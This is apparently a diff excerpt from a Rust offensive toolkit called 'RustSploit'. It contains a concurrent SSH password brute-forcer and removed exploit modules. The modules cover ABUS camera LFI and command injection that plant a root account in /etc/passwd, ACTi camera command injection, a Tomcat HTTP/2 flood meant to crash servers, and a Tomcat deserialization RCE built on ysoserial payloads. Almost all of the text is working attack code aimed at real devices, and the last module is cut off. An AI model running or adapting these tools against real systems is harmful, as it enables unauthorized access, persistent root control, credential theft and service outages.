let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Try again."),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "ssh_brute_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let connect_addr = normalize_target(target, port)?;
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(AtomicBool::new(false));
println!("\n[*] Starting brute-force on {}", connect_addr);
let users = load_lines(&usernames_file)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
let passwords = load_lines(&passwords_file)?;
if passwords.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
let users = Arc::new(users);
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
let mut user_cycle_idx = 0usize;
for pass in passwords {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
let selected_users: Vec<String> = if combo_mode {
users.iter().cloned().collect()
} else {
if users.is_empty() {
Vec::new()
} else {
let user = users[user_cycle_idx % users.len()].clone();
user_cycle_idx += 1;
vec![user]
}
};
if selected_users.is_empty() {
continue;
}
for user in selected_users {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
let addr_clone = connect_addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let stop_flag = stop_on_success;
let verbose_flag = verbose;
tasks.push(tokio::spawn(async move {
if stop_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_ssh_login(&addr_clone, &user_clone, &pass_clone).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
found_clone
.lock()
.await
.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
}
Err(e) => {
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
}
}
sleep(Duration::from_millis(10)).await;
}));
if tasks.len() >= concurrency {
if let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
}
}
}
while let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
} else {
println!("\n[+] Valid credentials:");
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
}
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
let mut file = File::create(&filename)?;
for (host, user, pass) in creds.iter() {
writeln!(file, "{} -> {}:{}", host, user, pass)?;
}
println!("[+] Results saved to '{}'", filename.display());
}
}
Ok(())
}
async fn try_ssh_login(normalized_addr: &str, user: &str, pass: &str) -> Result<bool> {
let user_owned = user.to_string();
let pass_owned = pass.to_string();
let addr_owned = normalized_addr.to_string();
let result = spawn_blocking(move || {
match TcpStream::connect(&addr_owned) {
Ok(tcp) => {
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp);
sess.handshake()?;
match sess.userauth_password(&user_owned, &pass_owned) {
Ok(_) => Ok(sess.authenticated()),
Err(_) => Ok(false),
}
}
Err(e) => Err(anyhow!("Connection error to {}: {}", addr_owned, e)),
}
})
.await??;
Ok(result)
}
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
let trimmed = host.trim();
let caps = re
.captures(trimmed)
.ok_or_else(|| anyhow!("Invalid target format: {}", host))?;
let addr = caps.name("addr").unwrap().as_str();
let port = if let Some(m) = caps.name("port") {
m.as_str()
.parse::<u16>()
.map_err(|_| anyhow!("Invalid port value in target '{}'", host))?
} else {
default_port
};
let formatted = if addr.contains(':') && !addr.contains('.') {
format!("[{}]:{}", addr, port)
} else {
format!("{}:{}", addr, port)
};
formatted
.to_socket_addrs()
.map_err(|e| anyhow!("Could not resolve '{}': {}", formatted, e))?
.next()
.ok_or_else(|| anyhow!("Could not resolve '{}'", formatted))?;
Ok(formatted)
}
fn prompt_existing_file(msg: &str) -> Result<String> {
loop {
let candidate = prompt_required(msg)?;
if Path::new(&candidate).is_file() {
return Ok(candidate);
} else {
println!(
"{}",
format!("File '{}' does not exist or is not a regular file.", candidate).yellow()
);
}
}
}
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("{}", "This field is required.".yellow());
}
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path.as_ref())
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.filter(|l| !l.trim().is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
let path_candidate = Path::new(input_path_str)
.file_name()
.map(|os_str| os_str.to_string_lossy())
.filter(|s_cow| !s_cow.is_empty() && s_cow != "." && s_cow != "..")
.map(|s_cow| s_cow.into_owned())
.unwrap_or_else(|| "ssh_brute_results.txt".to_string());
PathBuf::from(format!("./{}", path_candidate))
}
File diff suppressed because it is too large Load Diff
-2
View File
@@ -1,2 +0,0 @@
pub mod generic; // <-- lowercase folder name
pub mod camera;
@@ -1,153 +0,0 @@
// Exploit Title: ABUS Security Camera TVIP 20000-21150 - LFI, RCE and SSH Root Access
// CVE: CVE-2023-26609
// Author: d1g@segfault.net | Ported to Rust for RustSploit
// PoC converted 1:1 from Bash to async Rust logic
// Cargo.toml:
// [dependencies]
// anyhow = "1.0"
// reqwest = { version = "0.11", features = ["blocking", "rustls-tls"] }
// md5 = "0.7.0"
use anyhow::{Result, anyhow};
use md5;
use reqwest::Client;
use std::io::{self, Write};
/// Wraps/bracket-sanitizes IPv6 addresses (and leaves IPv4/hostnames alone)
fn format_host(raw: &str) -> String {
if raw.contains(':') {
// strip any number of existing brackets, then wrap once
let stripped = raw.trim_matches(|c| c == '[' || c == ']');
format!("[{}]", stripped)
} else {
raw.to_string()
}
}
/// Send authenticated LFI request
async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()> {
let host = format_host(target);
let url = format!(
"http://admin:admin@{}/cgi-bin/admin/fileread?READ.filePath={}",
host, filepath
);
println!("[*] Sending LFI request to: {}", url);
let resp = client.get(&url).send().await?;
println!("[+] Status: {}", resp.status());
println!("[+] Body:\n{}", resp.text().await?);
Ok(())
}
/// Send authenticated RCE request with command injection
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
let host = format_host(target);
let url = format!(
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
host, cmd
);
println!("[*] Sending RCE request to: {}", url);
let resp = client.get(&url).send().await?;
println!("[+] Status: {}", resp.status());
println!("[+] Body:\n{}", resp.text().await?);
Ok(())
}
/// Stage 1: Generate SSH key
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
println!("[*] Generating SSH key on target...");
exploit_rce(client, target, cmd).await
}
/// Stage 2: Inject a root user with an MD5-hashed password
async fn inject_root_user(client: &Client, target: &str, password: &str) -> Result<()> {
// Compute lowercase-hex MD5 of the provided password
let hash = format!("{:x}", md5::compute(password));
println!("[*] MD5 hash of password: {}", hash);
// Build the echo command to append to /etc/passwd
let cmd = format!(
"echo%20d1g:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
hash
);
println!("[*] Injecting root user into /etc/passwd...");
exploit_rce(client, target, &cmd).await
}
/// Stage 3: Start Dropbear SSH server
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
println!("[*] Starting Dropbear SSH server...");
exploit_rce(client, target, cmd).await
}
/// Combined SSH persistence exploit
async fn persist_root_shell(client: &Client, target: &str, password: &str) -> Result<()> {
generate_ssh_key(client, target).await?;
inject_root_user(client, target, password).await?;
start_dropbear(client, target).await?;
println!("[+] Persistence complete! You can now SSH in with:");
println!(
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\
-oHostKeyAlgorithms=+ssh-rsa d1g@{}",
password, target
);
Ok(())
}
/// Prompt user for mode, and dispatch accordingly
async fn execute(target: &str) -> Result<()> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.build()?;
println!("[*] Exploit mode selection for target: {}", target);
println!(" [1] LFI");
println!(" [2] RCE");
println!(" [3] SSH Persistence");
print!("> ");
io::stdout().flush()?;
let mut choice = String::new();
io::stdin().read_line(&mut choice)?;
match choice.trim() {
"1" => {
print!("Enter file path to read (e.g. /etc/passwd): ");
io::stdout().flush()?;
let mut fp = String::new();
io::stdin().read_line(&mut fp)?;
exploit_lfi(&client, target, fp.trim()).await?;
}
"2" => {
print!("Enter command to execute (e.g. id): ");
io::stdout().flush()?;
let mut cmd = String::new();
io::stdin().read_line(&mut cmd)?;
exploit_rce(&client, target, cmd.trim()).await?;
}
"3" => {
// Ask for the desired password, hash it, and persist
print!("Enter desired password for new root user: ");
io::stdout().flush()?;
let mut pwd = String::new();
io::stdin().read_line(&mut pwd)?;
let pwd = pwd.trim();
if pwd.is_empty() {
return Err(anyhow!("Password cannot be empty"));
}
persist_root_shell(&client, target, pwd).await?;
}
_ => return Err(anyhow!("Invalid choice")),
}
Ok(())
}
/// Entry point for the RustSploit dispatch system
pub async fn run(target: &str) -> Result<()> {
execute(target).await
}
@@ -1,122 +0,0 @@
use anyhow::Result;
use reqwest::Client;
use std::io::{self, Write};
use md5;
/// Normalize IPv6 targets, collapsing any number of outer brackets
/// and preserving an explicit port if one was given as `[...] : port`.
fn normalize_target(raw: &str) -> String {
// Case: bracketed IPv6 with port, e.g. "[[::1]]:8080"
if raw.contains("]:") {
if let Some(idx) = raw.rfind("]:") {
let addr_raw = &raw[..idx];
let port = &raw[idx + 2..];
// strip ALL brackets from the address portion
let addr_inner = addr_raw
.trim_start_matches('[')
.trim_end_matches(']')
.to_string();
return format!("[{}]:{}", addr_inner, port);
}
}
// Otherwise, remove any outer brackets entirely...
let inner = raw
.trim_start_matches('[')
.trim_end_matches(']')
.to_string();
// ...and only re-wrap in brackets if it's a bare IPv6 (contains a colon).
if inner.contains(':') {
format!("[{}]", inner)
} else {
inner
}
}
/// Send a command using the vulnerable RCE endpoint
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
let normalized = normalize_target(target);
let url = format!(
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=inject;{}",
normalized, cmd
);
println!("[*] Sending RCE payload: {}", cmd);
let resp = client.get(&url).send().await?;
println!("[+] Status: {}", resp.status());
println!("[+] Response:\n{}", resp.text().await?);
Ok(())
}
/// Generate Dropbear SSH keys on the target system
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
println!("[*] Generating Dropbear SSH key...");
exploit_rce(client, target, cmd).await
}
/// Inject a root user with a hashed password into /etc/passwd
async fn inject_root_user(client: &Client, target: &str, user: &str, hash: &str) -> Result<()> {
let payload = format!(
"echo%20{}:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
user, hash
);
println!("[*] Injecting user '{}' with root privileges...", user);
exploit_rce(client, target, &payload).await
}
/// Start Dropbear SSH daemon
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
println!("[*] Starting Dropbear SSH daemon...");
exploit_rce(client, target, cmd).await
}
/// Generate an MD5 hash of the given password
fn generate_md5_hash(password: &str) -> String {
let digest = md5::compute(password.as_bytes());
format!("{:x}", digest)
}
/// Main interactive flow: get user/pass, hash it, and inject persistence
async fn execute_flow(target: &str) -> Result<()> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.build()?;
println!("[*] Dropbear SSH persistence for target: {}", target);
print!("Enter username to inject: ");
io::stdout().flush()?;
let mut user = String::new();
io::stdin().read_line(&mut user)?;
let user = user.trim();
print!("Enter password (will be hashed): ");
io::stdout().flush()?;
let mut pass = String::new();
io::stdin().read_line(&mut pass)?;
let pass = pass.trim();
// Hash it!
let hash = generate_md5_hash(pass);
println!("[*] Generated MD5 hash: {}", hash);
// Run each step
generate_ssh_key(&client, target).await?;
inject_root_user(&client, target, user, &hash).await?;
start_dropbear(&client, target).await?;
println!("\n[+] Done. Try connecting with:");
println!(
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \
-oHostKeyAlgorithms=+ssh-rsa {}@{}",
pass, user, target
);
Ok(())
}
/// Dispatcher entry-point for the auto-dispatch framework
pub async fn run(target: &str) -> Result<()> {
execute_flow(target).await
}
-2
View File
@@ -1,2 +0,0 @@
pub mod abussecurity_camera_cve202326609variant1;
pub mod abussecurity_camera_cve202326609variant2;
-79
View File
@@ -1,79 +0,0 @@
use anyhow::{anyhow, Result};
use reqwest::Client;
use std::time::Duration;
/// // Executes an RCE on ACTi ACM-5611 Video Camera using command injection
/// // Reference:
/// // - https://www.exploitalert.com/view-details.html?id=34128
/// // - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html
/// // Exploit authors:
/// // - Todor Donev <todor.donev@gmail.com>
/// // - GH0st3rs (RouterSploit module)
pub async fn run(target: &str) -> Result<()> {
let port = 8080; // // Default port
if check(target, port).await? {
println!("[+] Target seems vulnerable: {}:{}", target, port);
// // Simulated shell command execution
let cmd = "id"; // // You can change this to any test command
let output = execute(target, port, cmd).await?;
println!("[+] Executed '{}':\n{}", cmd, output);
// // You can extend this to implement full shell injection
// // shell(arch="armle", method="wget", location="/var/", exec_binary=...)
} else {
println!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port);
}
Ok(())
}
/// // Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
let url = format!("http://{}:{}/cgi-bin/test", target, port);
let client = Client::builder()
.timeout(Duration::from_secs(5))
.build()?;
let res = client
.get(&url)
.header("Content-Type", "application/x-www-form-urlencoded")
.header("Referer", format!("http://{}:{}", target, port))
.query(&[("iperf", format!(";{}", cmd))])
.send()
.await?;
if res.status().is_success() {
let text = res.text().await?;
Ok(text)
} else {
Err(anyhow!("Command execution failed, status code: {}", res.status()))
}
}
/// // Check if the target is running the vulnerable service
async fn check(target: &str, port: u16) -> Result<bool> {
let url = format!("http://{}:{}/cgi-bin/test", target, port);
let index_url = format!("http://{}:{}/", target, port);
let client = Client::builder()
.timeout(Duration::from_secs(5))
.build()?;
// // Check /cgi-bin/test
let test_res = client.get(&url).send().await?;
if test_res.status().is_success() {
// // Check root page contains 'Web Configurator'
let index_res = client.get(&index_url).send().await?;
if index_res.status().is_success() {
let body = index_res.text().await?;
if body.contains("Web Configurator") {
return Ok(true);
}
}
}
Ok(false)
}
-1
View File
@@ -1 +0,0 @@
pub mod acm_5611_rce;
@@ -1,193 +0,0 @@
use anyhow::{anyhow, bail, Result};
use colored::*;
use rand::Rng;
use reqwest::{ClientBuilder};
use std::io::{self, Write};
use std::net::{TcpStream, ToSocketAddrs};
use std::time::Duration;
use tokio::time::sleep;
use rand::prelude::IndexedRandom;
/// TomcatKiller - CVE-2025-31650
/// Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers
pub async fn run(target: &str) -> Result<()> {
println!("{}", "===== TomcatKiller - CVE-2025-31650 =====".blue());
println!("Developed by: @absholi7ly");
println!("Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers.");
println!("{}", "Warning: For authorized testing only. Ensure HTTP/2 and vulnerable Tomcat version.".yellow());
let port = prompt_for_port().unwrap_or(443);
let normalized = if target.starts_with("http://") || target.starts_with("https://") {
target.to_string()
} else {
format!("https://{}", target)
};
let (host, _) = match validate_url(&normalized) {
Ok(hp) => hp,
Err(e) => {
eprintln!("{}", format!("Invalid target URL: {e}").red());
return Err(e);
}
};
let clean_host = strip_ipv6_brackets(&host);
let num_tasks = 300;
let requests_per_task = 100000;
match check_http2_support(&clean_host, port).await {
Ok(true) => {
println!("{}", format!("Starting attack on {}:{}...", clean_host, port).green());
println!("Tasks: {}, Requests per task: {}", num_tasks, requests_per_task);
println!("{}", "Monitor memory manually via VisualVM or check catalina.out for OutOfMemoryError.".yellow());
let monitor_handle = tokio::spawn(monitor_server(clean_host.clone(), port));
let mut handles = Vec::new();
for i in 0..num_tasks {
let h = clean_host.clone();
handles.push(tokio::spawn(send_invalid_priority_requests(h, port, requests_per_task, i)));
}
for handle in handles {
let _ = handle.await;
}
monitor_handle.abort();
}
Ok(false) => {
bail!("Target does not support HTTP/2. Exploit not applicable.");
}
Err(e) => {
eprintln!("{}", format!("[!] Error checking HTTP/2 support: {e}").red());
return Err(e);
}
}
Ok(())
}
fn prompt_for_port() -> Option<u16> {
print!("{}", "Enter target port (default 443): ".cyan());
io::stdout().flush().ok()?;
let mut buffer = String::new();
io::stdin().read_line(&mut buffer).ok()?;
let trimmed = buffer.trim();
if trimmed.is_empty() {
Some(443)
} else {
trimmed.parse::<u16>().ok()
}
}
fn strip_ipv6_brackets(host: &str) -> String {
host.trim_matches(|c| c == '[' || c == ']').to_string()
}
fn validate_url(url: &str) -> Result<(String, u16)> {
let parsed = url::Url::parse(url)?;
let host = parsed.host_str().ok_or_else(|| anyhow!("Invalid URL format"))?.to_string();
let port = parsed.port_or_known_default().unwrap_or(443);
Ok((host, port))
}
async fn check_http2_support(host: &str, port: u16) -> Result<bool> {
let client = ClientBuilder::new()
.http2_prior_knowledge()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(5))
.build()?;
let url = format!("https://{}:{}/", host, port);
let resp = client.get(&url).header("user-agent", "TomcatKiller").send().await;
match resp {
Ok(response) => {
if response.version() == reqwest::Version::HTTP_2 {
println!("{}", "HTTP/2 supported! Proceeding ...".green());
Ok(true)
} else {
println!("{}", "Server responded, but HTTP/2 not used.".yellow());
Ok(false)
}
}
Err(e) => {
println!("{}", format!("Connection failed: {}:{}. Reason: {e}", host, port).red());
Ok(false)
}
}
}
async fn send_invalid_priority_requests(host: String, port: u16, count: usize, task_id: usize) {
let priorities = get_invalid_priorities();
let client = match ClientBuilder::new()
.http2_prior_knowledge()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_millis(300))
.build()
{
Ok(c) => c,
Err(_) => return,
};
let url = format!("https://{}:{}/", host, port);
for _ in 0..count {
let prio = priorities.choose(&mut rand::rng()).unwrap().to_string();
let headers = [
("priority", prio),
("user-agent", format!("TomcatKiller-{}-{}", task_id, rand::rng().random::<u32>())),
("cache-control", "no-cache".to_string()),
("accept", format!("*/*; q={}", rand::rng().random_range(0.1..1.0))),
];
let mut req = client.get(&url);
for (k, v) in headers.iter() {
req = req.header(*k, v);
}
let _ = req.send().await;
}
}
async fn monitor_server(host: String, port: u16) {
loop {
let addr_result = format!("{}:{}", host, port).to_socket_addrs();
match addr_result {
Ok(mut addrs) => {
if let Some(addr) = addrs.next() {
if TcpStream::connect_timeout(&addr, Duration::from_secs(2)).is_ok() {
println!("{}", format!("Target {}:{} is reachable.", host, port).yellow());
} else {
println!("{}", format!("Target {}:{} unreachable or crashed!", host, port).red());
break;
}
} else {
println!("{}", "DNS lookup failed.".red());
break;
}
}
Err(_) => {
println!("{}", "Failed to resolve host for monitoring.".red());
break;
}
}
sleep(Duration::from_secs(2)).await;
}
}
fn get_invalid_priorities() -> Vec<&'static str> {
vec![
"u=-1, q=2", "u=4294967295, q=-1", "u=-2147483648, q=1.5", "u=0, q=invalid",
"u=1/0, q=NaN", "u=1, q=2, invalid=param", "", "u=1, q=1, u=2",
"u=99999999999999999999, q=0", "u=-99999999999999999999, q=0", "u=, q=",
"u=1, q=1, malformed", "u=1, q=, invalid", "u=-1, q=4294967295",
"u=invalid, q=1", "u=1, q=1, extra=😈", "u=1, q=1; malformed", "u=1, q=1, =invalid",
"u=0, q=0, stream=invalid", "u=1, q=1, priority=recursive", "u=1, q=1, %invalid%",
"u=0, q=0, null=0",
]
}
@@ -1,320 +0,0 @@
use anyhow::{bail, Result};
use regex::Regex;
use reqwest::{Client, StatusCode};
use std::io::{self, Write};
use std::path::Path;
use std::process::{Command, Stdio};
use std::time::Duration;
use tokio::fs::{read, remove_file};
const BANNER: &str = r#"
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗
██╔════╝██║ ██║██╔────╝ ╚════██╗██╔══██╗██╔══██╗██╔══██╗
██║ ██║ ██║█████╗█████╗█████╔╝██████╔╝██████╔╝██║ ██║
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔══██╗██╔══██╗██╔══██╗██║ ██║
╚██████╗ ╚████╔╝ ███████╗ ██████╔╝██║ ██║██║ ██║██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝
"#;
/// // Sanitize IPv6 URL
fn sanitize_target(raw: &str) -> String {
let fixed = raw.replace("[[", "[").replace("]]", "]");
if fixed.starts_with("http://") || fixed.starts_with("https://") {
fixed
} else {
format!("http://{}", fixed)
}
}
/// // Prompt helper
fn prompt(message: &str, default: Option<&str>) -> String {
print!("{}{}: ", message, default.map_or("".to_string(), |d| format!(" [{}]", d)));
io::stdout().flush().unwrap();
let mut buf = String::new();
io::stdin().read_line(&mut buf).unwrap();
let input = buf.trim();
if input.is_empty() {
default.unwrap_or("").to_string()
} else {
input.to_string()
}
}
/// // Check if server is writable
async fn check_writable_servlet(client: &Client, target_url: &str, host: &str, port: &str) -> Result<bool> {
let check_url = format!("{}/check.txt", target_url);
let res = client
.put(&check_url)
.header("Host", format!("{host}:{port}"))
.header("Content-Length", "10000")
.header("Content-Range", "bytes 0-1000/1200")
.body("testdata".to_string())
.timeout(Duration::from_secs(10))
.send()
.await?;
if res.status() == StatusCode::OK || res.status() == StatusCode::CREATED {
println!("[+] Server is writable via PUT: {check_url}");
Ok(true)
} else {
println!("[-] Server not writable: HTTP {}", res.status());
Ok(false)
}
}
/// // Generate a raw Java payload JAR via `javac` and `jar`
fn generate_java_payload(command: &str, payload_file: &str) -> Result<()> {
let payload_java = format!(
r#"
import java.io.IOException;
import java.io.PrintWriter;
public class Exploit {{
static {{
try {{
String cmd = "{cmd}";
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(
Runtime.getRuntime().exec(cmd).getInputStream()
));
String line;
StringBuilder output = new StringBuilder();
while ((line = reader.readLine()) != null) {{
output.append(line).append("\\n");
}}
PrintWriter out = new PrintWriter(System.out);
out.println(output.toString());
out.flush();
}} catch (IOException e) {{
e.printStackTrace();
}}
}}
}}
"#,
cmd = command
);
println!("[*] Generating Java payload using system javac and jar...");
std::fs::write("Exploit.java", &payload_java)?;
let compile = Command::new("javac").arg("Exploit.java").status()?;
if !compile.success() {
bail!("[-] javac failed. Make sure JDK is installed.");
}
let package = Command::new("jar")
.args(["cfe", payload_file, "Exploit", "Exploit.class"])
.status()?;
if !package.success() {
bail!("[-] jar packaging failed.");
}
std::fs::remove_file("Exploit.java").ok();
std::fs::remove_file("Exploit.class").ok();
println!("[+] Java payload JAR created: {}", payload_file);
Ok(())
}
/// // Generate ysoserial payload
fn generate_ysoserial_payload(command: &str, ysoserial_path: &str, gadget: &str, payload_file: &str) -> Result<()> {
if !Path::new(ysoserial_path).exists() {
bail!("[-] Error: {} not found", ysoserial_path);
}
println!("[*] Generating ysoserial payload: {}", command);
let output = Command::new("java")
.args(["-jar", ysoserial_path, gadget, &format!("cmd.exe /c {}", command)])
.stdout(Stdio::piped())
.spawn()?
.wait_with_output()?;
std::fs::write(payload_file, output.stdout)?;
println!("[+] Payload generated: {payload_file}");
Ok(())
}
/// // Upload and verify payload
async fn upload_and_verify_payload(
client: &Client,
target_url: &str,
host: &str,
port: &str,
session_id: &str,
payload_file: &str,
) -> Result<bool> {
let exploit_url = format!("{}/uploads/../sessions/{}.session", target_url, session_id);
let payload = read(payload_file).await?;
let res = client
.put(&exploit_url)
.header("Host", format!("{host}:{port}"))
.header("Content-Length", "10000")
.header("Content-Range", "bytes 0-1000/1200")
.body(payload)
.send()
.await?;
if res.status() == StatusCode::CONFLICT {
println!("[+] Upload successful (409): {}", exploit_url);
let confirm = client
.get(target_url)
.header("Cookie", "JSESSIONID=absholi7ly")
.send()
.await?;
if confirm.status() == StatusCode::INTERNAL_SERVER_ERROR {
println!("[+] Exploit triggered! Server returned 500.");
Ok(true)
} else {
println!("[-] Trigger failed: {}", confirm.status());
Ok(false)
}
} else {
println!("[-] Upload failed: HTTP {}", res.status());
Ok(false)
}
}
/// // Get session ID
async fn get_session_id(client: &Client, target_url: &str) -> Result<String> {
let res = client
.get(&format!("{}/index.jsp", target_url))
.send()
.await?;
let body = res.text().await?;
let re = Regex::new(r"Session ID: (\w+)")?;
if let Some(caps) = re.captures(&body) {
return Ok(caps[1].to_string());
}
println!("[-] No session ID found. Using default.");
Ok("absholi7ly".to_string())
}
/// // Exploit logic
async fn execute_exploit(
target_url: &str,
port: &str,
command: &str,
ysoserial_path: &str,
gadget: &str,
payload_type: &str,
verify_ssl: bool,
) -> Result<()> {
let host = target_url.split("://").nth(1).unwrap_or(target_url).trim_matches('/').split(':').next().unwrap();
let client = Client::builder().danger_accept_invalid_certs(!verify_ssl).build()?;
let session_id = get_session_id(&client, target_url).await?;
println!("[*] Session ID: {session_id}");
if check_writable_servlet(&client, target_url, host, port).await? {
let payload_file = "payload.ser";
match payload_type {
"java" => generate_java_payload(command, payload_file)?,
"ysoserial" => generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file)?,
_ => bail!("[-] Invalid payload type: {}", payload_type),
}
if upload_and_verify_payload(&client, target_url, host, port, &session_id, payload_file).await? {
println!("[+] Target vulnerable to CVE-2025-24813!");
} else {
println!("[-] Exploit failed or target not vulnerable.");
}
remove_file(payload_file).await.ok();
}
Ok(())
}
/// // Entry point
pub async fn run(target: &str) -> Result<()> {
println!("{BANNER}");
let mut target = sanitize_target(target);
println!("[+] Target sanitized: {}", target);
let mut command = String::from("calc.exe");
let mut port = prompt("Enter port (default 8080)", Some("8080"));
println!("[+] Default port set to {}", port);
let mut ysoserial_path = String::from("ysoserial.jar");
let mut gadget = String::from("CommonsCollections6");
let mut payload_type = String::from("ysoserial");
let mut ssl_verify = true;
loop {
println!(
r#"
=== MENU ===
1. Set Target URL (current: {target})
2. Set Command (current: {command})
3. Set Port (current: {port})
4. Set ysoserial Path (current: {ysoserial_path})
5. Set Gadget (current: {gadget})
6. Set Payload Type (current: {payload_type})
7. Toggle SSL Verify (current: {ssl_verify})
8. Run Exploit
9. Exit
"#
);
let selection = prompt("Select an option", None);
match selection.as_str() {
"1" => {
target = prompt("Enter target URL", Some(&target));
println!("[+] Target updated: {target}");
}
"2" => {
command = prompt("Enter command to execute", Some(&command));
println!("[+] Command set: {command}");
}
"3" => {
port = prompt("Enter port", Some(&port));
println!("[+] Port set: {port}");
}
"4" => {
ysoserial_path = prompt("Path to ysoserial.jar", Some(&ysoserial_path));
println!("[+] ysoserial path set: {ysoserial_path}");
}
"5" => {
gadget = prompt("Enter gadget", Some(&gadget));
println!("[+] Gadget set: {gadget}");
}
"6" => {
payload_type = prompt("Payload type (ysoserial/java)", Some(&payload_type));
if payload_type != "ysoserial" && payload_type != "java" {
println!("[-] Invalid type. Only 'ysoserial' or 'java' supported.");
payload_type = "ysoserial".into();
} else {
println!("[+] Payload type set: {payload_type}");
}
}
"7" => {
ssl_verify = !ssl_verify;
println!("[!] SSL verification toggled: {ssl_verify}");
}
"8" => break,
"9" => {
println!("[!] Exiting without running exploit.");
return Ok(());
}
_ => println!("[-] Invalid option. Please choose 1-9."),
}
}
println!("[*] Starting exploit with:");
println!(" Target URL : {target}");
println!(" Command : {command}");
println!(" Port : {port}");
println!(" ysoserial : {ysoserial_path}");
println!(" Gadget : {gadget}");
println!(" SSL Verify : {ssl_verify}");
